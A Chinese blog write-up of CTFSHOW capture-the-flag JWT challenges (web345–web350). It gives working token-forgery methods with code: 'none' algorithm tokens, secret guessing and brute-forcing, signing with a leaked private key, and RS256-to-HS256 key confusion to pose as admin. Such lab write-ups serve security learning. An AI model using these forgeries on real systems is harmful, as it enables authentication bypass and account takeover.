CTFSHOW jwt篇

可以先了解下jwt
jwt由三部分组成header、payload、signature
header示例

{
  'typ': 'JWT',
  'alg': 'HS256'
}

payload示例

{
  "sub": "1234567890",
  "name": "John Doe"
}

signature
jwt的第三部分是一个签证信息,这个签证信息由三部分组成:
header (base64编码)
payload (base64编码)
secret(密钥)
这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分。

这三部分用.连接起来就是完整的jwt了。

jwt攻击参考文章https://xz.aliyun.com/t/2338

web345

jwt解密网站https://jwt.io/
这个题我们解密发现他没有第三部分,所以也就用不着知道他的密钥了。直接每一部分base64然后用.连接就可以了。
第一部分{"alg":"None","typ":"jwt"}base64编码后是eyJhbGciOiJOb25lIiwidHlwIjoiand0In0(去掉等号)
第二部分[{"sub":"admin"}]base64编码后是W3sic3ViIjoiYWRtaW4ifV0
所以把原来的jwt修改为eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoiYWRtaW4ifV0然后访问/admin即可

web346

将算法改成none,user改成admin

import time
import jwt

# payload
token_dict = {
  "iss": "admin",
  "iat": 1610432484,
  "exp": 1610439684,
  "nbf": 1610432484,
  "sub": "admin",
  "jti": "efec0205f601a537847ee2dd3ffa81ff"
}

# headers
headers = {
  "alg": "none",
  "typ": "JWT"
}

jwt_token = jwt.encode(token_dict,  # payload, 有效载体 
					 key='',
                       headers=headers,  # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
 					   algorithm="none",  # 指明签名算法方式, 默认也是HS256
                       ).decode('ascii')  # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str

print(jwt_token)

利用解密网站将user改成admin,然后拿着新生成的jwt替换原来的,再去访问/admin就能得到flag

web347

密钥是123456(猜的)
在这里插入图片描述

web348

利用jwt爆破攻击爆破
下载地址https://github.com/brendan-rius/c-jwt-cracker具体安装方法文档中有。
使用方法 ./jwtcrack jwt
在这里插入图片描述
爆破出来密钥是aaab,剩下的跟上面的一样了。

web349

利用私钥生成jwt,利用公钥解密jwt,所以我们只要有私钥然后自己重新生成就可以了。
访问/private.key得到私钥
运行下面的js代码生成jwt (需要安装jsonwebtoken库 npm install jsonwebtoken --save)

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('private.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)

修改jwt后post方式访问就可以得到flag
或者python代码

import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))
# python2运行

web350

访问/public.key获得公钥
jwt攻击参考文章https://xz.aliyun.com/t/2338
这个题是利用的第三种
在这里插入图片描述

exp:

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

jwt库要用题目给的源码中的,就是要保证版本一致。

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值